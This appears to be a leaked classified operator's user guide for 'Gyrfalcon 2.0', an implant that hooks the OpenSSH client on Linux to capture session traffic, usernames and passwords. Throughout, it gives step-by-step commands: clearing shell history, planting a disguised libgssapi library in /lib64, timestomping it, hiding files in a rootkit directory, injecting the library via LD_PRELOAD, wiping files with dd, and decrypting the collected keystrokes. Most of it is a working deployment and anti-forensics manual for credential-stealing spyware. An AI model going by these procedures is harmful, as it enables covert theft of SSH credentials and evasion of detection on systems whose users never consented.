Gyrfalcon 2.0
User's Guide

November 26, 2013

Classified By: 2245665
Reason: 1.4(c)
Declassify On: 20381126
Derived From: COL S-06

(U) Table of Changes

Date	Change Description	Authority
11/26/13	Document created. (XXXX 2012-0465)	EDG/AED/EDB

(U) Table of Contents

1 (U) Overview

(S//NF) Gyrfalcon 2.0 is a library loaded into the OpenSSH client process address space on Linux platforms. Gyrfalcon also contains an application which communicates with the library via SYSV message queues. The application compresses, encrypts, and stores the collected data into a collection file kept on the Linux platform's file system. Gyrfalcon is capable of collecting full or partial OpenSSH session traffic including user name and passwords of OpenSSH users. A third-party application that provides communications between the Linux platform and listening post is required to transfer the compressed, encrypted collection file. COG/NOD requested Gyrfalcon via IMIS 2012-0465.

2 (U) User Skill Level

(S//NF) The operator must obtain a thorough understanding of the Linux/UNIX command line interface and shells such as bash, csh, and sh. Gyrfalcon assumes that the operator knows the standard operating procedures for masking their activity within certain shells. For instance, if the operator is using the bash shell on the Linux platform, then Gyrfalcon assumes they executed the following commands at the shell's prompt before uploading, installing, and executing Gyrfalcon.

1. `unset HISTFILE`
2. `export HISTFILE`
3. `HISTSIZE=0`
4. `export HISTSIZE`
5. `TERM=vt100`
6. `export TERM`
7. `PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin …`
8. `export PATH`

(S//NF) Because Gyrfalcon is a Linux library and application, the operator needs to understand the Linux computing environment to safely install and configure Gyrfalcon. Both the library and application must be installed with root privileges, however, they do not need root privilege to execute successfully on the Linux platform. Therefore, the operator must be confident with their understanding of Linux to use root privileges and not muck up the Linux platform's configuration.

(S//NF) Gyrfalcon is designed to execute its collection efforts against the OpenSSH client under the protection of the JQC/KitV root kit. The operator must be familiar with the JQC/KitV root kit on Linux when installing the Gyrfalcon library, application, and configuration file.

3 (U) System Requirements

3.1 (U) Target Platforms

(S//NF) The **target** platform must be running the Linux operating system with either 32- or 64-bit kernel and libraries. Gyrfalcon consists of two compiled binaries that should be uploaded to the **target** platform along with the encrypted configuration file. Also, Gyrfalcon requires the following libraries to be installed on the target platform which are usually installed by default.

1.	libpthread.so.0 or better	(pthreads – multithreading)
2.	libz.so.1 or better	(zlib – compression)
3.	libcrypt.so.1 or better	(crypt – MD5 hashing)
4.	libcrypto.so.4 or better	(OpenSSL 0.9.7a – AES-256-CBC and RSA-2048)

3.2 (U) Local Operator Computer

(S//NF) Gyrfalcon consists of two Python scripts that should be kept on the **local** operator computer (also considered the high side). These scripts require the following system requirements:

1 . (U) Any recent version of a standard Linux distribution

1.1 Preferably with 64-bit kernel and libraries.

2 . (U) Python 2.6 or better

3 . (U) SWIG

3.1 (U) If this package is not installed on the **local** operator computer, then the source code can be downloaded from http://www.swig.org/, or use the Linux distribution's package manager to install the SWIG package.

3.2 (U) To install from source code, follow these steps:

3.2.1 `tar zxvf swig-2.0.9.tar.gz` (if version 2.0.9 is downloaded)

3.2.2 `cd swig-2.0.9`

3.2.3 `./configure`

3.2.4 `make`

3.2.5 (as root) `make install`

4 . (U) M2Crypto

4.1 (U) If this package is not installed on the **local** operator computer, then the source code can be downloaded from http://chandlerproject.org/Projects/MeTooCrypto, or use the Linux distribution's package manager to install the M2Crypto package.

4.2 (U) To install from source code, follow these steps:

4.2.1 `tar zxvf M2Crypto-0.21.1.tar.gz` (if version 0.21.1 is downloaded)

4.2.2 `cd M2Crypto-0.21.1`

4.2.3 `python setup.py build`

4.2.4 (as root) `python setup.py install`

3.3 (U) Gyrfalcon Deliverables

(S//NF) The Gyrfalcon package contains the following directory structure and deliverables.

```
<package-root – CD #1 – UNCLASSIFIED>
        centos-5.6-32bit            {directory: CentOS 5.6 32-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
        centos-5.6-64bit            {directory: CentOS 5.6 64-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
        centos-5.10-32bit           {directory: CentOS 5.10 32-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
        centos-5.10-64bit           {directory: CentOS 5.10 64-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
        centos-6.4-32bit            {directory: CentOS 6.4 32-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
        centos-6.4-64bit            {directory: CentOS 6.4 64-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
        debian-6.0.8-32bit          {directory: Debian 6.0.8 32-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
        debian-6.0.8-64bit          {directory: Debian 6.0.8 64-bit}
                client              {application}
                libgssapi.so.2.0.1  {library}
                md5sum              {text file}
```

rhel-4.0-32bit		{directory: Red Hat Enterprise Linux 4.0 32-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
rhel-4.0-64bit		{directory: Red Hat Enterprise Linux 4.0 64-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
rhel-4.8-32bit		{directory: Red Hat Enterprise Linux 4.8 32-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
rhel-4.8-64bit		{directory: Red Hat Enterprise Linux 4.8 64-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
rhel-5.10-32bit		{directory: Red Hat Enterprise Linux 5.10 32-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
rhel-5.10-64bit		{directory: Red Hat Enterprise Linux 5.10 64-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
rhel-6.4-32bit		{directory: Red Hat Enterprise Linux 6.4 32-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
rhel-6.4-64bit		{directory: Red Hat Enterprise Linux 6.4 64-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}
suse-10.1-32bit		{directory: SuSE Linux 10.1 32-bit}
	client	{application}
	libgssapi.so.2.0.1	{library}
	md5sum	{text file}

```
        suse-10.1-64bit               {directory: SuSE Linux 10.1 64-bit}
                client                {application}
                libgssapi.so.2.0.1    {library}
                md5sum                {text file}
        ubuntu-11.10-32bit            {directory: Ubuntu 11.10 32-bit}
                client                {application}
                libgssapi.so.2.0.1    {library}
                md5sum                {text file}
        ubuntu-11.10-64bit            {directory: Ubuntu 11.10 64-bit}
                client                {application}
                libgssapi.so.2.0.1    {library}
                md5sum                {text file}
<package-end – CD #1>

<package-root – CD #2 – CLASSIFIED>
        genconfig.py                  {Python configuration generating script}
        postproc.py                   {Python post processing script}
        user_guide.pdf                {This user guide}
<package-end – CD #2>
```

(S//NF) Use 32-bit binaries on 32-bit **target** platforms and 64-bit binaries on 64-bit **target** platforms. You can use the command "`uname -m`" to determine the **target** platform's architecture. If the return from the command is *"x86_64"*, then the **target** platform is 64-bit. If the return from the command is *"i386"* or *"i686"*, then the **target** platform is 32-bit.

(S//NF) Use only the binaries compiled for the specific **target** platform. Each Linux distribution contains a text file somewhere on the file system identifying the specific distribution and its release version. For example, Red Hat Enterprise Linux (RHEL) keeps the information in the *"/etc/redhat-release"* file, and a simple *"cat /etc/redhat-release"* will print *"Red Hat Enterprise Linux ..."* to the shell's output.

1.	(U) CentOS	– /etc/redhat-release
2.	(U) Debian	– /etc/debian_version
3.	(U) Red Hat Enterprise Linux	– /etc/redhat-release
4.	(U) SuSE	– /etc/SuSE-release
5.	(U) Ubuntu	– /etc/lsb-release

4 (U) Install and Uninstall Procedures

4.1 (U) Install onto Target Platform

(S//NF) The operator is free to install and configure Gyrfalcon as they please – within the limits of the COG/NOD standard operating procedures. The operator is also bound by the install and configure constraints of the JQC/KitV root kit. However, the following is a list of conditions the operator should consider before installing Gyrfalcon on the **target** platform. Also, the Gyrfalcon library must be installed in a directory accessible to the OpenSSH client which will make the library visible to any **target** platform user and system administrator.

1. (U) Determine the **target** platform's processor architecture and Linux distribution.
   1.1 `uname -m`
   1.2 `cat /etc/redhat-release`
2. (U) Based on the processor architecture and Linux distribution, copy the correct library and application to a working directory on the **local** operator computer.
   2.1 (U) Rename the application, “client”, to the file name provided in step 4.3.6 below.
3. (U) Copy genconfig.py and postproc.py to the same working directory on the **local** operator computer.
   3.1 (U) At this point, the **local** working directory should contain the following files.

3.1.1	libgssapi.so.2.0.1	(library)
3.1.2	*client*	(renamed in step 2 and named in step 4.3.6)
3.1.3	genconfig.py	(Python script)
3.1.4	postproc.py	(Python script)

4. (S//NF) Within the working directory on the **local** operator computer, execute genconfig.py to generate a new encrypted configuration file, archive file, receipt file, and RSA public and private keys.
   4.1 `./genconfig.py -g` *`archive_file`*
   4.2 (U) Where *archive_file* can be any file name you want it to be. The script will create this file with *“_YYYY-MM-DD_HH:MM:SS.MS.tar.bz2”* appended to the file name.
   4.3 (U) The script will ask you a series of questions where the <u>answers should be determined before executing the genconfig.py script</u>.
      4.3.1 (U) *“What version is the target running?”*
         4.3.1.1 (U) At this time, the only answer to this question is *“2.0”*.
      4.3.2 (U) *“What will be the collection file size?”*
         4.3.2.1 (U) Any size is allowed between 4096 and 4194304 bytes.
         4.3.2.2 (U) Suggestion: sizes equivalent to a power of 2 are best.
      4.3.3 (U) *“What will be the implant's working directory?”*
         4.3.3.1 (S//NF) The directory where the collection file will be kept.
         4.3.3.2 (S//NF) Preferably the JQC/KitV hidden directory.
         4.3.3.3 (U) Directory name can be anything between 1 and 63 characters long.

4.3.3.4 (U) Directory must exist on the **target** platform.

4.3.3.5 (U) Relative directories are allowed relative to the application directory.

4.3.3.6 (U) Absolute directories are also allowed.

4.3.4 (S//NF) *"What do you want to name the encrypted configuration file?"*

4.3.4.1 (U) File name can be anything between 1 and 15 characters long.

4.3.5 (U) *"What do you want to name the collection file?"*

4.3.5.1 (U) File name can be anything between 1 and 15 characters long.

4.3.6 (U) *"What do you want to name the client file?"*

4.3.6.1 (U) File name can be anything the operator wants it to be.

4.3.6.2 (U) Rename the **local** application, "client", according to your answer.

4.3.7 (U) *"What is the target computer processor?"*

4.3.7.1 (U) At this time, the only answer to this question is *"intel"*.

4.3.8 (U) *"[IPv4/IPv6 | IPv4 CIDR | hostname | FQDN] – "*

4.3.8.1 (U) Any valid IPv4 or IPv6 address is allowed – or –

4.3.8.2 (U) Any valid IPv4 CIDR address (i.e., 10.0.0.0/24) is allowed – or –

4.3.8.3 (U) Any valid alphanumeric hostname is allowed – or –

4.3.8.4 (U) Any valid FQDN (i.e., www.google.com) is allowed.

4.3.8.5 (U) Address can be any of the above between 1 and 31 characters long.

4.3.9 (U) *"[ignore | partial | full | execute] – "*

4.3.9.1 (S//NF) Partial collects enough of the OpenSSH session to collect the user name and password for each connection.

4.3.9.2 (S//NF) Full collects the entire OpenSSH session from beginning to end.

4.3.9.3 (S//NF) Execute is not complete at this time, but the script will allow the operator to configure the white list with execute – the behavior of the Gyrfalcon library is similar to the ignore command.

4.3.9.4 (S//NF) Ignore is the default behavior – meaning if the remote host on the OpenSSH session is not in the white list, then the Gyrfalcon library ignores the session.

4.4 (U) After executing genconfig.py, the **local** working directory should consist of the following files.

4.4.1 genconfig.py

4.4.2 postproc.py

4.4.3 *archive_file*

4.4.4 *archive_file_YYYY-MM-DD_HH:MM:SS.MS.tar.bz2*

4.4.4.1 Where *archive_file* is a symbolic link to *archive_file_YYYY-MM-DD_HH:MM:SS.MS.tar.bz2*.

4.5 (U) At this time, the archive file will contain the following files.

4.5.1 public.pem

4.5.2 private.pem

4.5.3 receipt.xml

4.5.4 *config_file* (named in step 4.3.4)

4.5.5 *client* (renamed in step 2 and named in step 4.3.6)

4.5.6 libgssapi.so.2.0.1

4.5.7 (U) To confirm the archive file contents:

4.5.7.1 `tar jtvf` *`archive_file`*

5. (S//NF) Upload the library, application, and encrypted configuration file to the **target** platform.

5.1 (U) They must be extracted from the archive file before uploading.

5.1.1 `tar jxvf` *`archive_file`* `libgssapi.so.2.0.1`

5.1.2 `tar jxvf` *`archive_file client`*

5.1.3 `tar jxvf` *`archive_file config_file`*

5.2 (S//NF) Gyrfalcon does not provide any communication services between the **local** operator computer and **target** platform. The operator must use a third-party application to upload these three files to the **target** platform.

6. (S//NF) If not already in the proper locations after upload, copy the library, application, and encrypted configuration file to the correct directory(ies).

6.1 (S//NF) The application and encrypted configuration file must be kept in the same directory of the operator's choosing, but preferably the operator will choose the JQC/KitV hidden directory.

6.2 (S//NF) The library needs to be installed in a system library directory (i.e., /lib64 or /usr/lib) on the **target** platform that is accessible by the OpenSSH client (i.e., */usr/bin/ssh*).

6.2.1 `ldd /usr/bin/ssh`.

6.2.2 (U) Look for an entry in the output similar to –

6.2.2.1 *"libgssapi_krb5.so.2 => /lib64/libgssapi_krb5.so.2"*

6.2.3 (S//NF) The operator should copy the Gyrfalcon library to the same directory as *"libgssapi_krb5.so.2"* (i.e., /lib64).

6.2.3.1 (as root) `cp libgssapi.so.2.0.1 /lib64/`

6.2.4 (S//NF) Change the Gyrfalcon library's access time to that of libgssapi_krb5.

6.2.4.1 (as root) `touch /lib64/libgssapi.so.2.0.1 -r /lib64/libgssapi_krb5.so.2.2`.

6.2.5 (S//NF) Install the Gyrfalcon library into the dynamic linker cache.

6.2.5.1 (as root) `ldconfig -v`

6.2.6 (S//NF) Confirm the following files are in the system library directory identified in step 6.2.2:

6.2.6.1 `ls -l /lib64/libgssapi*`

6.2.6.2 libgssapi.so.2 (a symbolic link to the actual library)

6.2.6.3 libgssapi.so.2.0.1 (the actual library)

6.2.7 (S//NF) Confirm the Gyrfalcon library is installed in the dynamic linker cache.

6.2.7.1 `ldconfig -p | grep libgssapi`

7. (S//NF) First, execute the Gyrfalcon application.
   - 7.1 (S//NF) Confirm the Gyrfalcon application has the correct owner and group for the directory in which you install the application and encrypted configuration file.
     - 7.1.1 For example, the application and encrypted configuration file are installed into a directory which has "root:root" owner and group permissions.
     - 7.1.2 (as root) `chown root:root` *`client`*
     - 7.1.3 (as root) `chown root:root` *`config_file`*
     - 7.1.4 (as root) `chmod 755` *`client`*
     - 7.1.5 (as root) `chmod 700` *`config_file`*
   - 7.2 (S//NF) At this time, the operator should be executing the application from within the JQC/KitV hidden directory. If the application is configured with "root:root" owner and group permissions, then the application should be executed as "root" else as the owner of the application.
     - 7.2.1 (as the configured user) `./`*`client`* `/dev/null`
   - 7.3 (S//NF) Ensure the encrypted configuration file has been removed from the file system.
     - 7.3.1 (S//NF) The Gyrfalcon application will securely unlink the encrypted configuration file from the file system after successfully reading it into memory.
8. (S//NF) Second, the operator needs to set up the *LD_PRELOAD* environment variable to inform the Linux dynamic linker to load the Gyrfalcon library into the OpenSSH client address space.
   - 8.1 (S//NF) The environment variable needs to be inserted into the OpenSSH client shell profile or RC script.
     - `8.1.1 LD_PRELOAD=libgssapi.so.2`
   - 8.2 (S//NF) Testing during development the *LD_PRELOAD* environment variable was used as follows.
     - 8.2.1 `LD_PRELOAD=libgssapi.so.2 ssh 10.3.2.180`
   - 8.3 (S//NF) There is a better way of getting the Linux dynamic linker to load the Gyrfalcon library, however, there was not enough time to finish development.
9. (U) Keep the *archive_file_YYYY-MM-DD_HH:MM:SS.MS.tar.bz2* in a safe location on the **local** operator computer or network for your records. This file is essential for sustained operations and post processing.

4.2 (U) Uninstall off Target Platform

(S//NF) Uninstalling Gyrfalcon off a **target** platform is simpler than installing onto the **target** platform. Follow these steps to uninstall Gyrfalcon. It is best to perform an uninstall when the OpenSSH client is not being used (i.e., there are no active OpenSSH connections).

1. (U) Determine the PID of the running Gyrfalcon application on the **target** platform.
   - 1.1 `ps –aux | grep client`
   - 1.2 (U) Where *client* is the name of the application on the **target** platform.
2. (S//NF) Flush the last of the key strokes through the Gyrfalcon application pipeline into the compressed, encrypted collection file.
   - 2.1 `kill –s USR1 PID`
   - 2.2 (U) Where *PID* is the PID discovered in step 1.
   - 2.3 (S//NF) It may take data arriving on the SYSV message queue for the application to properly handle the *USR1* signal. Monitor the collection file – if the collection file is closed then the *USR1* signal was handled correctly and it is safe to proceed.
   - 2.4 (U) Kill the running Gyrfalcon application and confirm the process stopped running.
   - 2.5 `kill PID`
   - 2.6 `ps –aux | grep client`
   - 2.7 (S//NF) Confirm the encrypted configuration file is written back to the file system in the same directory as the application.
3. (S//NF) Download the compressed, encrypted collection file to the **local** operator computer.
   - 3.1 (S//NF) Gyrfalcon does not provide any communication services between the **local** operator computer and **target** platform. The operator must use a third-party application to download the collection file from the **target** platform.
4. (S//NF) Remove the Gyrfalcon library from the **target** platform's file system.
   - 4.1 (S//NF) Remove the *LD_PRELOAD* settings created in section 4.1 step 8.
   - 4.2 (as root) `dd if=/dev/zero of=/lib64/libgssapi.so.2.0.1 bs=64`
   - 4.3 (as root) `rm –f /lib64/libgssapi.so.2.0.1`
   - 4.4 (as root) `rm –f /lib64/libgssapi.so.2`
   - 4.5 (as root) `ldconfig –v`
   - 4.6 `ldconfig –p | grep libgssapi`
5. (S//NF) Remove the Gyrfalcon application, configuration file, and collection file from the **target** platform's file system.
   - 5.1 (S//NF) Preferably all three files are kept in the JQC/KitV hidden directory.
   - 5.2 `dd if=/dev/zero of=./client bs=64`
   - 5.3 `dd if=/dev/zero of=./config_file bs=64`
   - 5.4 `dd if=/dev/zero of=./collect_file bs=64`
   - 5.5 `rm –f client config_file collect_file`

5 (U) Sustain Operation Procedures

(S//NF) Once the Gyrfalcon library, application, and configuration file are installed onto the **target** platform, Gyrfalcon will run continuously until you uninstall it or a system boot/reboot. Unless you provide Gyrfalcon with application persistence, the application <u>will not</u> be loaded or running after a system boot/reboot.

(S//NF) Occasionally you will want to connect to the **target** platform to download the compressed, encrypted collection file. Any file with the *config_file* name appended with *"_YYYY-MM-DD_HH:MM:SS"* is a closed file ready to be downloaded and post processed on the **local** operator computer. Once this file is downloaded, you are free to remove it from the **target** platform's file system.

(S//NF) However, there may be times when you connect to the **target** platform and either no compressed, encrypted collection file exists or a file with the *config_file* name exists. If the application is still running, then this means the application has yet to reach the collection size defined at configuration time. <u>Do not worry, you do not have to wait until the application reaches this limit</u>. Follow these steps to generate a compressed, encrypted collection file.

1. (U) Determine the PID of the running application on the **target** platform.
   1.1 `ps –aux | grep client`
   1.2 (U) Where *client* is the name of the Gyrfalcon application on the **target** platform.
2. (S//NF) Flush the last of the OpenSSH client collected data through the Gyrfalcon application pipeline into the compressed, encrypted collection file.
   2.1 `kill –s USR1 PID`
   2.2 (U) Where *PID* is the PID discovered in step 1.
   2.3 (S//NF) It may take data arriving on the SYSV message queue for the application to properly handle the *USR1* signal. Monitor the collection file – if the collection file is closed then the *USR1* signal was handled correctly and it is safe to proceed.
3. (S//NF) Download the compressed, encrypted collection file to the **local** operator computer.
   3.1 (S//NF) Gyrfalcon does not provide any communication services between the **local** operator computer and **target** platform. The operator must use another application to download the collection file from the **target** platform.
4. (S//NF) Remove the compressed, encrypted collection file from the **target** platform's file system.
   4.1 (S//NF) Hopefully, the decision was made to keep the collection file in the JQC/KitV hidden directory.
   4.2 `dd if=/dev/zero of=./collect_file bs=64`
   4.3 `rm –f collect_file`

5.1 (U) Update Encrypted Configuration File

(S//NF) Gyrfalcon is capable of updating the encrypted configuration file on the **target** platform without stopping the Gyrfalcon application. You will need genconfig.py and the current archive file for the **target** platform. Copy these files to a working directory on your **local** operator computer. The following list is what can be or will be updated on the target platform.

1. (S//NF) The RSA-2048 public and private keys.	(always updated)
2. (S//NF) The AES-256 initialization vector (IV).	(always updated)
3. (S//NF) The compressed, encrypted collection file size.	(user dependent)
4. (S//NF) The compressed, encrypted collection file working directory.	(user dependent)
5. (S//NF) The compressed, encrypted collection file name.	(user dependent)
6. (S//NF) The IP, hostname, or FQDN white list.	(user dependent)

(U) Items 3 – 6 depend on user input with genconfig.py. Below are the steps you need to follow to update the configuration file on the **target** platform.

1. (S//NF) Within the working directory on the **local** operator computer, execute genconfig.py to generate a new encrypted configuration file, archive file, receipt file, and RSA public and private keys.

1.1 `./genconfig.py –u` *`archive_file`*

1.2 <u>NOTE</u>: use -u instead of -g to update the configuration file.

1.3 Where *archive_file* is the current **target** platform archive file.

1.4 (U) The script will ask you a series of questions where the <u>answers should be determined before executing this script</u>.

1.4.1 (U) *"What will be the collection file size?"*

1.4.1.1 (U) If there is no change in size then repeat the previous value.

1.4.1.2 (U) Any size is allowed between 4096 and 4194304 bytes.

1.4.1.3 (U) Suggestion: sizes equivalent to a power of 2 are best.

1.4.2 (U) *"What will be the implant's working directory?"*

1.4.2.1 (U) If there is no change in directory then repeat the previous value.

1.4.2.2 (S//NF) The directory where the collection file will be kept.

1.4.2.3 (U) Directory name can be anything between 1 and 63 characters long.

1.4.2.4 (U) Directory <u>must exist</u> on the target platform.

1.4.2.5 (U) Relative directories are allowed relative to the application directory.

1.4.2.6 (U) Absolute directories are also allowed.

1.4.3 (U) *"What do you want to name the collection file?"*

1.4.3.1 (U) If there is no change in file name then repeat the previous value.

1.4.3.2 (U) File name can be anything between 1 and 15 characters long.

1.4.4 (U) *"[IPv4/IPv6 | IPv4 CIDR | hostname | FQDN] – "*

1.4.4.1 (U) If there is no change in the white list, then repeat the previous values.

1.4.4.2 (U) Any valid IPv4 or IPv6 address is allowed – or –

1.4.4.3 (U) Any valid IPv4 CIDR address (i.e., 10.0.0.0/24) is allowed – or –

1.4.4.4 (U) Any valid alphanumeric hostname is allowed – or –

1.4.4.5 (U) Any valid FQDN (i.e., www.google.com) is allowed.

1.4.4.6 (U) Address can be any of the above between 1 and 31 characters long.

1.4.5 (U) *"[ignore | partial | full | execute] – "*

1.4.5.1 (S//NF) Partial collects enough of the OpenSSH session to collect the user name and password for each connection.

1.4.5.2 (S//NF) Full collects the entire OpenSSH session from beginning to end.

1.4.5.3 (S//NF) Execute is not complete at this time, but the script will allow the operator to configure the white list with execute – the behavior of the Gyrfalcon library is similar to the ignore command.

1.4.5.4 (S//NF) Ignore is the default behavior – meaning if the remote host on the OpenSSH session is not in the white list, then the Gyrfalcon library ignores the session.

1.4.6 (U) After executing genconfig.py, the **local** working directory should consist of the following files.

1.4.6.1 genconfig.py

1.4.6.2 *archive_file*

1.4.6.3 *archive_file_YYYY-MM-DD_HH:MM:SS.MS.tar.bz2*

1.4.6.4 Where *archive_file* is a symbolic link to *archive_file_YYYY-MM-DD_HH:MM:SS.MS.tar.bz2*.

1.4.7 (U) At this time, the archive file will contain the following files.

1.4.7.1 public.pem

1.4.7.2 private.pem

1.4.7.3 receipt.xml

1.4.7.4 *config_file*

1.4.7.5 (U) To confirm the archive file contents:

1.4.7.5.1 `tar jtvf archive_file`

2. (S//NF) Upload the new encrypted configuration file to the **target** platform.

2.1 (U) The new encrypted configuration file must be extracted from the archive file before uploading.

2.1.1 `tar jxvf archive_file config_file`

2.2 (S//NF) Gyrfalcon does not provide any communication services between the **local** operator computer and **target** platform. The operator must use another application to upload the new encrypted configuration file to the **target** platform.

3. (S//NF) If not already in the proper location after upload, copy the new encrypted configuration file to the correct directory.

3.1 (S//NF) The application and encrypted configuration file must be kept in the same directory of the operator's choosing, and preferably that is the JQC/KitV hidden directory.

4. (U) Determine the PID of the running Gyrfalcon application on the **target** platform.

   4.1 `ps –aux | grep client`

   4.2 (U) Where *client* is the name of the Gyrfalcon application on the **target** platform.

5. (S//NF) Flush the last of the OpenSSH client collected data through the Gyrfalcon application pipeline into the compressed, encrypted collection file and reload the encrypted configuration file with the new configuration.

   5.1 `kill –s HUP PID`

   5.2 (U) Where *PID* is the PID discovered in step 4.

   5.3 (S//NF) IMPORTANT: this time you need to use SIGHUP signal to flush the pipeline and read the new encrypted configuration file into memory. DO NOT use SIGUSR1 here.

   5.4 (S//NF) It may take data arriving on the SYSV message queue for the application to properly handle the *HUP* signal. Monitor the collection file – if the collection file is closed then the *HUP* signal was handled correctly and it is safe to proceed.

6. (S//NF) Ensure the encrypted configuration file has been removed from the file system.

   6.1 (S//NF) The application will securely unlink the encrypted configuration file from the file system after successfully reading it into memory.

7. (S//NF) Download the compressed, encrypted collection file to the **local** operator computer.

   7.1 (S//NF) Gyrfalcon does not provide any communication services between the **local** operator computer and **target** platform. The operator must use another application to download the collection file from the **target** platform.

8. (S//NF) Remove the compressed, encrypted collection file from the **target** platform's file system.

   8.1 (S//NF) Hopefully, the decision was made to keep the collection file in the JQC/KitV hidden directory.

   8.2 `dd if=/dev/zero of=./collect_file bs=64`

   8.3 `rm –f collect_file`

5.2 (U) Display Encrypted Configuration File

(S//NF) Through genconfig.py and the current archive file, Gyrfalcon can display the current configuration loaded on a **target** platform. Copy the Python script and archive file to a working directory on your **local** operator computer. Then execute genconfig.py according to the following.

1. `./genconfig.py -d archive_file`
   - 1.1 (U) Where *archive_file* is the current **target** platform archive file.
   - 1.2 <u>NOTE</u>: use -d instead of -g or -u to display the configuration file.

5.3 (U) Post-Process Compressed, Encrypted Collection File

(S//NF) After you download the compressed, encrypted collection file onto the **local** operator computer, the collection file must be post-processed. After processing the collection file you will be able to read the captured key strokes. Below are the steps to post-process the collection file.

1. (U) Copy the current **target** platform's archive file and postproc.py into a **local** working directory.
2. (U) Copy the compressed, encrypted collection file into the same **local** working directory.
3. (U) Within the working directory on the **local** operator computer, execute postproc.py to process the collection file.
   - 3.1 `./postproc.py -i collect_file -o output.txt -a archive_file`
   - 3.2 (U) Where *archive_file* is the current **target** platform archive file.
   - 3.3 (S//NF) Where *collect_file* is the compressed, encrypted collection file.
   - 3.4 (U) You are allowed to name the output file (output.txt) to whatever you want to name it.
4. (U) The output file from step 3 is viewable via less/more, view/vi/vim, strings, xxd, and cat. The output is not easy to read and will take some time getting used to the format – sorry.
   - 4.1 There was not enough time to make the output easier to read.

6 (U) File Checksums

	File	Checksum (MD5)
CentOS 5.6 32-bit	client	ef457bc5b3a9314511a9c981b16087fb
	libgssapi.so.2.0.1	7db011e25a823023847a137078511844
CentOS 5.6 64-bit	client	7bff3cc0d6ec919c6e5c1c3ec2717142
	libgssapi.so.2.0.1	363d5dd3452f36677ea57d73047dffab
CentOS 5.10 32-bit	client	fa26de851be694334d59090cdf8508a8
	libgssapi.so.2.0.1	8bb7fc7a67d954dada62a4cf37d3f637
CentOS 5.10 64-bit	client	7610e3301e0ad44d33d67f4f5b127d14
	libgssapi.so.2.0.1	31366f94c3d46d303d3e45bb803f06ce
CentOS 6.4 32-bit	client	1401d749146ee96b1e24448b0f40c05e
	libgssapi.so.2.0.1	cd5e713be76a0defe340e1f1b2372192
CentOS 6.4 64-bit	client	f070af5ee0b1becd168889ec847d2cd4
	libgssapi.so.2.0.1	93e40bc4306a1859dddb125278a09bac
Debian 6.0.8 32-bit	client	25e254b081e5d0bb75739d915f72817b
	libgssapi.so.2.0.1	c1bd31fffb332d4d99cc6f64f3c344ad
Debian 6.0.8 64-bit	client	1a31bf07d36b96bf8e6762457ec4d76b
	libgssapi.so.2.0.1	3087080e61453f48f7e250fd42af432d
RHEL 4.0 32-bit	client	8a3798f5d1a157d1ddc86fee487931e4
	libgssapi.so.2.0.1	391888d3bde5cc4229835c070eb59ad7
RHEL 4.0 64-bit	client	129304774df1bfa6ab074aa6e9e1df2c
	libgssapi.so.2.0.1	ede8b9e7297b6c1d1bf82f7e564744ce
RHEL 4.8 32-bit	client	9a698d2d0eb2ba6439566106d4da4478
	libgssapi.so.2.0.1	35becb23aee603e70d23ec49967c467c
RHEL 4.8 64-bit	client	100125884e3701d19e695a3adf444962
	libgssapi.so.2.0.1	afad6dc848dec2fe06e87bb39e559102
RHEL 5.10 32-bit	client	fa26de851be694334d59090cdf8508a8
	libgssapi.so.2.0.1	8bb7fc7a67d954dada62a4cf37d3f637
RHEL 5.10 64-bit	client	7610e3301e0ad44d33d67f4f5b127d14
	libgssapi.so.2.0.1	31366f94c3d46d303d3e45bb803f06ce
RHEL 6.4 32-bit	client	1401d749146ee96b1e24448b0f40c05e
	libgssapi.so.2.0.1	c79817bcd4009c44e6a9a5f576ec1b7c
RHEL 6.4 64-bit	client	f070af5ee0b1becd168889ec847d2cd4
	libgssapi.so.2.0.1	93e40bc4306a1859dddb125278a09bac
SuSE 10.1 32-bit	client	5b6205d3461d7a245a6a02f43c38ea99
	libgssapi.so.2.0.1	c21b838c710721e83c58695fcdccd3cb

	File	Checksum (MD5)
SuSE 10.1 64-bit	client	76f27f812065ae1ff99273611074320c
	libgssapi.so.2.0.1	40d037cc1253065a704f8484fee99cc6
Ubuntu 11.10 32-bit	client	de0a6903edcc60e099b8013ffb4cd188
	libgssapi.so.2.0.1	75f4a30c3ae368eeec3b0ee67bb78d03
Ubuntu 11.10 64-bit	client	99dad16053a180fbc94155187acce472
	libgssapi.so.2.0.1	248ce9ec5c6466d57b22f19ba5c77549
---	genconfig.py	2404ab64a3a73ffef91abd8495be0b58
---	postproc.py	b250d4beed755afdb5d7efa88c8ae05e

7 (U) File Sizes

	File	Size (bytes)
CentOS 5.6 32-bit	client	19224
	libgssapi.so.2.0.1	8388
CentOS 5.6 64-bit	client	24616
	libgssapi.so.2.0.1	11456
CentOS 5.10 32-bit	client	19224
	libgssapi.so.2.0.1	8388
CentOS 5.10 64-bit	client	24616
	libgssapi.so.2.0.1	11456
CentOS 6.4 32-bit	client	18500
	libgssapi.so.2.0.1	8232
CentOS 6.4 64-bit	client	24536
	libgssapi.so.2.0.1	11256
Debian 6.0.8 32-bit	client	18908
	libgssapi.so.2.0.1	10000
Debian 6.0.8 64-bit	client	24952
	libgssapi.so.2.0.1	11256
RHEL 4.0 32-bit	client	19236
	libgssapi.so.2.0.1	8196
RHEL 4.0 64-bit	client	26440
	libgssapi.so.2.0.1	11624
RHEL 4.8 32-bit	client	19180
	libgssapi.so.2.0.1	8172
RHEL 4.8 64-bit	client	26384
	libgssapi.so.2.0.1	11600
RHEL 5.10 32-bit	client	19224
